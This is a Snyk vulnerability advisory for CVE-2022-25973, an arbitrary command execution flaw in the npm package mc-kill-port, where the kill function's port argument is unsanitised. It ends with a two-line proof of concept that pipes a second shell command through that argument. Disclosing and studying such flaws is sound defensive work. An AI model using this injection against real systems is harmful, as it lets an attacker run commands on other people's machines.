CVE-2022-25973: Snyk Vulnerability Database | Snyk

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• snyk-id

  SNYK-JS-MCKILLPORT-2419070

• published

  18 Jul 2022

• disclosed

  6 Mar 2022

• credit

  Feng Xiao

How to fix?

There is no fixed version for mc-kill-port.

Overview

mc-kill-port is a package allowing termination of ports.

Affected versions of this package are vulnerable to Arbitrary Command Execution via the kill function, due to missing sanitization of the port argument.

PoC

const kill = require("mc-kill-port");
kill("abc|echo rce > newFile.txt")